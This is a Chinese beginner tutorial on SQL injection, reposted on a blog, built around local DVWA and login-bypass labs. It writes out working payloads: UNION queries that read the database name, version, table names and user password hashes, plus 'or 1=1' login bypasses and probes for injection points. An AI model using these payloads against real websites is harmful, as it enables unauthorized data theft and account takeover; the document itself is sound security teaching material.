sql注入——轉載自實驗樓

Sql 注入基礎原理介紹
一、實驗說明
1.1 實驗內容
SQL注入攻擊通過構建特殊的輸入作為參數傳入Web應用程序,而這些輸入大都是SQL語法里的一些組合,通過執行SQL語句進而執行攻擊者所要的操作,本章課程通過 LAMP 搭建 Sql 注入環境,兩個實驗分別介紹 Sql 注入爆破數據庫、Sql 注入繞過驗證兩個知識點。
1.2 實驗知識點
Sql 注入漏洞的原理
Sql 注入點的判斷方法
Sql 注入漏洞的分類

1.3 實驗環境
python2.7
Xfce 終端
Firefox 瀏覽器

1.4 適合人群
本課程難度為簡單,屬于初級級別課程,適合具有一點 sql 語法基礎的用戶。
如果你沒有 sql 的基礎,建議你先閱讀下述內容:
Mysql 入門教程

或學習以下免費課程:
MySQL 基礎課程

1.5 代碼獲取
你可以通過下面命令將代碼下載到實驗樓環境中,作為參照對比進行學習。
$ wget http://labfile.oss.aliyuncs.com/courses/876/dvwa.tar.gz$ wget http://labfile.oss.aliyuncs.com/courses/876/sql2.tar.gz

二、實驗原理
Sql 注入攻擊是通過將惡意的 Sql 查詢或添加語句插入到應用的輸入參數中,再在后臺 Sql 服務器上解析執行進行的攻擊,它目前黑客對數據庫進行攻擊的最常用手段之一。
本課程將帶你從介紹 Web 應用運行原理開始,一步一步理解 Sql 注入的由來、原理和攻擊方式。
三、Web 程序三層架構
三層架構(3-tier architecture
) 通常意義上就是將整個業務應用劃分為:
界面層(User Interface layer)

業務邏輯層(Business Logic Layer)

數據訪問層(Data access layer)。

區分層次的目的即為了“高內聚低耦合”的思想。在軟件體系架構設計中,分層式結構是最常見,也是最重要的一種結構被應用于眾多類型的軟件開發。
由數據庫驅動的Web應用程序依從三層架構的思想也分為了三層:
表示層。

業務邏輯層(又稱領域層)

數據訪問層(又稱存儲層)

拓撲結構如下圖所示

此處輸入圖片的描述

在上圖中,用戶訪問實驗樓主頁進行了如下過程:
在 Web 瀏覽器中輸入 www.shiyanlou.com
連接到實驗樓服務器。

業務邏輯層的 Web 服務器從本地存儲中加載 index.php
腳本并解析。

腳本連接位于數據訪問層的 DBMS
(數據庫管理系統),并執行 Sql
語句。

數據訪問層的數據庫管理系統返回 Sql
語句執行結果給 Web 服務器。

業務邏輯層的 Web 服務器將 Web 頁面封裝成 HTML 格式發送給表示層的 Web 瀏覽器。

表示層的 Web 瀏覽器解析 HTML 文件,將內容展示給用戶。

在三層架構中,所有通信都必須要經過中間層,簡單地說,三層架構是一種線性關系
四、Sql 注入漏洞
4.1 Sql 注入產生原因及威脅:
剛剛講過當我們訪問動態網頁時, Web 服務器會向數據訪問層發起 Sql 查詢請求,如果權限驗證通過就會執行 Sql 語句。
這種網站內部直接發送的Sql請求一般不會有危險,但實際情況是很多時候需要結合用戶的輸入數據動態構造 Sql 語句,如果用戶輸入的數據被構造成惡意 Sql 代碼,Web 應用又未對動態構造的 Sql 語句使用的參數進行審查,則會帶來意想不到的危險。
Sql 注入帶來的威脅主要有如下幾點
猜解后臺數據庫,這是利用最多的方式,盜取網站的敏感信息。
繞過認證,列如繞過驗證登錄網站后臺。
注入可以借助數據庫的存儲過程進行提權等操作

4.2 Sql 注入示例一.猜解數據庫
接下來我們通過一個實例,讓你更加清楚的理解 Sql 注入猜解數據庫是如何發生的。
如下圖所示,先下載文件并解壓運行:
shiyanlou:~/ $ wget http://labfile.oss.aliyuncs.com/courses/876/dvwa.tar.gzshiyanlou:~/ $ tar -zxvf dvwa.tar.gzshiyanlou:~/ $ cd dvwashiyanlou:~/ $ sudo apt-get updateshiyanlou:~/ $ ./deploy.sh

進入 Firefox 瀏覽器,輸入網址 : localhost/dvwasql , 點擊create/Reset Database
創建數據庫:
[圖片上傳中。。。(2)]


此處輸入圖片的描述

進入登錄界面,默認用戶名為 admin
密碼為 password

此處輸入圖片的描述

將 Security 級別調整為 low
(有興趣的同學可以看看其他級別,這里只做入門講解)


此處輸入圖片的描述

進入 SQL injection
頁面開始注入:


此處輸入圖片的描述

先輸入 1 ,查看回顯 (URL中ID=1,說明php頁面通過get方法傳遞參數):
此處輸入圖片的描述

那實際上后臺執行了什么樣的Sql語句呢?點擊 view source
查看源代碼 :
此處輸入圖片的描述

可以看到,實際執行的Sql語句是:
SELECT first_name, last_name FROM users WHERE user_id = '1';

我們是通過控制參數Id的值來返回我們需要的信息。
如果我們不按常理出牌,比如在輸入框中輸入 1' order by 1#

實際執行的Sql語句就會變成:
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#`;(按照Mysql語法,#后面會被注釋掉,使用這種方法屏蔽掉后面的單引號,避免語法錯誤)

這條語句的意思是查詢users表中user_id為1的數據并按第一字段排行。
輸入 1' order by 1#
和 1' order by 2#
時都返回正常:

此處輸入圖片的描述

此處輸入圖片的描述

當輸入 1' order by 3#
時,返回錯誤:
[圖片上傳中。。。(11)]
由此可知,users表中只有兩個字段,數據為兩列。
接下來我們使用 union select
聯合查詢繼續獲取信息。
union 運算符可以將兩個或兩個以上 select 語句的查詢結果集合合并成一個結果集合顯示,即執行聯合查詢。需要注意在使用 union 查詢的時候需要和主查詢的列數相同,而我們之前已經知道了主查詢列數為 2,接下來就好辦了。
輸入1' union select database(),user()#
進行查詢 :
database()將會返回當前網站所使用的數據庫名字.
user()將會返回執行當前查詢的用戶名.

實際執行的Sql語句是 :
SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#`;

[圖片上傳中。。。(12)]
通過上圖返回信息,我們成功獲取到:
當前網站使用數據庫為 dvwa .
當前執行查詢用戶名為 root@localhost .

同理我們再輸入 1' union select version(),@@version_compile_os#
進行查詢:
version() 獲取當前數據庫版本.
@@version_compile_os 獲取當前操作系統。

實際執行的Sql語句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;

[圖片上傳中。。。(13)]
通過上圖返回信息,我們又成功獲取到:
當前數據庫版本為 : 5.6.31-0ubuntu0.15.10.1.
當前操作系統為 : debian-linux-gnu

接下來我們嘗試獲取 dvwa 數據庫中的表名。
information_schema
是 mysql 自帶的一張表,這張數據表保存了 Mysql 服務器所有數據庫的信息,如數據庫名,數據庫的表,表欄的數據類型與訪問權限等。該數據庫擁有一個名為 tables 的數據表,該表包含兩個字段 table_name 和 table_schema,分別記錄 DBMS 中的存儲的表名和表名所在的數據庫。
我們輸入1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
進行查詢:
實際執行的Sql語句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;

[圖片上傳中。。。(14)]
通過上圖返回信息,我們再獲取到:
dvwa 數據庫有兩個數據表,分別是 guestbook 和 users .

有些同學肯定還不滿足目前獲取到的信息,那么我們接下來嘗試獲取重量級的用戶名、密碼。
由經驗我們可以大膽猜測users表的字段為 user 和 password ,所以輸入:1' union select user,password from users#
進行查詢:
實際執行的 Sql 語句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;

[圖片上傳中。。。(15)]
可以看到成功爆出用戶名、密碼,密碼采用 md5 進行加密,可以到www.cmd5.com
進行解密。
直此,同學們應該已經對 Sql 注入有了一個大概得了解,也清楚了 Sql 注入的強大。
4.3 Sql 注入實例二.驗證繞過
接下來我們再試試另一個利用 Sql 漏洞繞過登錄驗證的實驗。
如下圖所示,先下載文件并解壓運行:
shiyanlou:~/ $ wget http://labfile.oss.aliyuncs.com/courses/876/sql2.tar.gzshiyanlou:~/ $ tar -zxvf sql2.tar.gzshiyanlou:~/ $ cd sql2shiyanlou:~/ $ sudo apt-get update shiyanlou:~/ $ ./deploy.sh

進入 Firefox 瀏覽器,輸入網址 : localhost/sql2 , 按照下圖所示順序,初始化數據:
[圖片上傳中。。。(16)]
[圖片上傳中。。。(17)]
[圖片上傳中。。。(18)]
[圖片上傳中。。。(19)]
準備工作完成之后,我們進入首頁發現這是一個普通的登錄頁面,只要輸入正確的用戶名和密碼就能登錄成功。
我們先嘗試隨意輸入用戶名 123 和密碼 123 登錄:
[圖片上傳中。。。(20)]
從錯誤頁面中我們無法獲取到任何信息。
看看后臺代碼如何做驗證的:
[圖片上傳中。。。(21)]
實際執行的操作時:
select * from users where username='123' and password='123'

當查詢到數據表中存在同時滿足 username 和 password 字段時,會返回登錄成功。
按照第一個實驗的思路,我們嘗試在用戶名中輸入 123' or 1=1 #
, 密碼同樣輸入 123' or 1=1 #

[圖片上傳中。。。(22)]
[圖片上傳中。。。(23)]
為什么能夠成功登陸呢?因為實際執行的語句是:
select * from users where username='123' or 1=1 #' and password='123' or 1=1 #'

按照 Mysql 語法,# 后面的內容會被忽略,所以以上語句等同于(實際上密碼框里不輸入任何東西也一樣):
select * from users where username='123' or 1=1

由于判斷語句 or 1=1 恒成立,所以結果當然返回真,成功登錄。
我們再嘗試不使用 # 屏蔽單引號,采用手動閉合的方式:
我們嘗試在用戶名中輸入 123' or '1'='1
, 密碼同樣輸入 123' or '1'='1
(不能少了單引號,否則會有語法錯誤):
[圖片上傳中。。。(24)]
[圖片上傳中。。。(25)]
實際執行的 Sql 語句是:
select * from users where username='123' or '1'='1' and password='123' or '1'='1`

看到了嗎?兩個 or 語句使 and 前后兩個判斷永遠恒等于真,所以能夠成功登錄。
還有很多其他 Mysql 語句可以巧妙的繞過驗證,同學們可以發散自己的思維進行嘗試。
五、判斷 Sql 注入點
通常情況下,可能存在 Sql 注入漏洞的 Url 是類似這種形式 :http://xxx.xxx.xxx/abcd.php?id=XX

對 Sql 注入的判斷,主要有兩個方面:
判斷該帶參數的 Url 是否存在 Sql 注入?
如果存在 Sql 注入,那么屬于哪種 Sql 注入?

可能存在 Sql 注入攻擊的 ASP/PHP/JSP 動態網頁中,一個動態網頁中可能只有一個參數,有時可能有多個參數。有時是整型參數,有時是字符串型參數,不能一概而論。總之只要是帶有參數的 動態網頁且此網頁訪問了數據庫,那么就有可能存在 Sql 注入。如果程序員沒有足夠的安全意識,沒有進行必要的字符過濾,存在SQL注入的可能性就非常大。
5.1 判斷是否存在 Sql 注入漏洞
最為經典的單引號判斷法
在參數后面加上單引號,比如:
http://xxx/abc.php?id=1'

如果頁面返回錯誤,則存在 Sql 注入。
原因是無論字符型還是整型都會因為單引號個數不匹配而報錯。
(如果未報錯,不代表不存在 Sql 注入,因為有可能頁面對單引號做了過濾,這時可以使用判斷語句進行注入,因為此為入門基礎課程,就不做深入講解了)
5.2 判斷 Sql 注入漏洞的類型
通常 Sql 注入漏洞分為 2 種類型:
數字型
字符型

其實所有的類型都是根據數據庫本身表的類型所產生的,在我們創建表的時候會發現其后總有個數據類型的限制,而不同的數據庫又有不同的數據類型,但是無論怎么分常用的查詢數據類型總是以數字與字符來區分的,所以就會產生注入點為何種類型。
[圖片上傳中。。。(26)]
5.2.1 數字型判斷:
當輸入的參 x 為整型時,通常 abc.php 中 Sql 語句類型大致如下:
select * from <表名> where id = x

這種類型可以使用經典的 and 1=1
和 and 1=2
來判斷:
Url 地址中輸入 http://xxx/abc.php?id= x and 1=1
頁面依舊運行正常,繼續進行下一步。

Url 地址中繼續輸入 http://xxx/abc.php?id= x and 1=2
頁面運行錯誤,則說明此 Sql 注入為數字型注入。

原因如下:
當輸入 and 1=1
時,后臺執行 Sql 語句:
select * from <表名> where id = x and 1=1

沒有語法錯誤且邏輯判斷為正確,所以返回正常。
當輸入 and 1=2
時,后臺執行 Sql 語句:
select * from <表名> where id = x and 1=2

沒有語法錯誤但是邏輯判斷為假,所以返回錯誤。
我們再使用假設法:如果這是字符型注入的話,我們輸入以上語句之后應該出現如下情況:
select * from <表名> where id = 'x and 1=1' select * from <表名> where id = 'x and 1=2'

查詢語句將 and 語句全部轉換為了字符串,并沒有進行 and 的邏輯判斷,所以不會出現以上結果,故假設是不成立的。
5.2.2 字符型判斷:
當輸入的參 x 為字符型時,通常 abc.php 中 SQL 語句類型大致如下:
select * from <表名> where id = 'x'

這種類型我們同樣可以使用 and '1'='1
和 and '1'='2
來判斷:
Url 地址中輸入 http://xxx/abc.php?id= x' and '1'='1
頁面運行正常,繼續進行下一步。

Url 地址中繼續輸入 http://xxx/abc.php?id= x' and '1'='2
頁面運行錯誤,則說明此 Sql 注入為字符型注入。

原因如下:
當輸入 and '1'='1
時,后臺執行 Sql 語句:
select * from <表名> where id = 'x' and '1'='1'

語法正確,邏輯判斷正確,所以返回正確。
當輸入 and '1'='2
時,后臺執行 Sql 語句:
select * from <表名> where id = 'x' and '1'='2'

語法正確,但邏輯判斷錯誤,所以返回正確。同學們同樣可以使用假設法來驗證。
六、 總結
sql注入常用技術有段還包括:
采用非主流通道技術
避開輸入過濾技術
使用特殊的字符
強制產生錯誤
使用條件語句
利用存儲過程
推斷技術
........

關于 Sql 注入的入門基礎教程就到此為止,如果想進一步學習 Sql 注入攻擊,可以關注即將上線的課程《通過代碼審計學習Web安全》,其中Sql注入相關包含一下進階內容:
寬字節注入
urldecode二次注入
sql注入防御

作業
按照教程自己動手做Sql注入實驗并思考自己是否理解原理(有不懂可以在提問區提問),并按需求截圖寫實驗報告。
thanks for reading!

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 230,501評論 6 544
  • 序言:濱河連續發生了三起死亡事件,死亡現場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發現死者居然都...
    沈念sama閱讀 99,673評論 3 429
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 178,610評論 0 383
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 63,939評論 1 318
  • 正文 為了忘掉前任,我火速辦了婚禮,結果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 72,668評論 6 412
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發上,一...
    開封第一講書人閱讀 56,004評論 1 329
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 44,001評論 3 449
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 43,173評論 0 290
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當地人在樹林里發現了一具尸體,經...
    沈念sama閱讀 49,705評論 1 336
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 41,426評論 3 359
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發現自己被綠了。 大學時的朋友給我發了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 43,656評論 1 374
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 39,139評論 5 364
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質發生泄漏。R本人自食惡果不足惜,卻給世界環境...
    茶點故事閱讀 44,833評論 3 350
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 35,247評論 0 28
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 36,580評論 1 295
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 52,371評論 3 400
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 48,621評論 2 380

推薦閱讀更多精彩內容

  • 姓名:于川皓 學號:16140210089 轉載自:https://baike.baidu.com/item/sq...
    道無涯_cc76閱讀 1,972評論 0 2
  • 50個常用的sql語句Student(S#,Sname,Sage,Ssex) 學生表Course(C#,Cname...
    哈哈海閱讀 1,247評論 0 7
  • 1. Java基礎部分 基礎部分的順序:基本語法,類相關的語法,內部類的語法,繼承相關的語法,異常的語法,線程的語...
    子非魚_t_閱讀 31,737評論 18 399
  • 什么是SQL數據庫: SQL是Structured Query Language(結構化查詢語言)的縮寫。SQL是...
    西貝巴巴閱讀 1,835評論 0 10
  • 1、對“錢”大度的自己 最近發現自己一個特點,就是對待“錢”越來越不在乎,不管花了多少一點沒有肉痛的感覺。大件比如...
    二小姐我們走閱讀 207評論 0 0